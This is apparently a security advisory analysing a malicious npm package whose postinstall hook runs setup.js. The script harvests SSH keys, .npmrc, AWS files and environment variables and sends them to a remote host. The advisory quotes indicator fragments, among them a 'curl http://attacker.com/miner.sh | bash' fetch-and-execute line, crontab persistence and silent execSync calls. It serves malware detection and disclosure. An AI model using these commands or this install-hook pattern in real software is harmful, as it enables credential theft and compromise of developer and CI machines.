GCVE-110-OSM-2026-9994

In the setup.js at the top of the file, it states clearly: MALWARE CODE - DO NOT USE MALICIOUSLY This is for educational/security research purposes only But then, it really is an install-time credential stealer and loader aimed at developers and CI environments: the attacker model is a supply-chain compromise that triggers on `postinstall` and harvests secrets from the host. The `setup.js` payload explicitly reads `.npmrc`, `~/.ssh/*`, `.gitconfig`, `.aws/*`, and `process.env`, then sends the data to `https://news.reimbursor.info` and `attacker.com` via `curl` and `execSync`. It also drops persistence with `crontab -`, fetches and executes remote scripts (`miner.sh`, `backdoor.sh`), and hides execution with `stdio: 'ignore'`, which is consistent with malware rather than a fitness analytics library. The publisher history (`publisherMaliciousRatio` 0.5 and prior malicious packages `qa-report-collector-global` and `sys-diagnostics-tool`) further corroborates deliberate malicious activity. ENTRY index.js (main: index.js) - Install Hook Executes Local JS File in package.json: ""postinstall": "node setup.js"" PERSISTENCE - Cron Job Persistence in setup.js: "crontab -" DESTINATION - 8 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Environment Variable Exfiltration in setup.js: "JSON.stringify(process.env)" - Data Encoding for Exfiltration in setup.js: "Buffer.from(textData).toString('base64')" - Git Configuration Access in setup.js: ".gitconfig" - Curl/Wget Pipe to Shell in setup.js: "curl http://attacker.com/miner.sh 2>/dev/null | bash" - System Information Collection in setup.js: "os.userInfo()" ADDITIONAL FINDINGS - Shell Command Execution in setup.js: "execSync(" - Silent Process Execution in setup.js: "stdio: 'ignore'" - Brand New Package - Very New NPM Publisher Account - Publisher Has Other Malicious Packages PAYLOAD FILES setup.js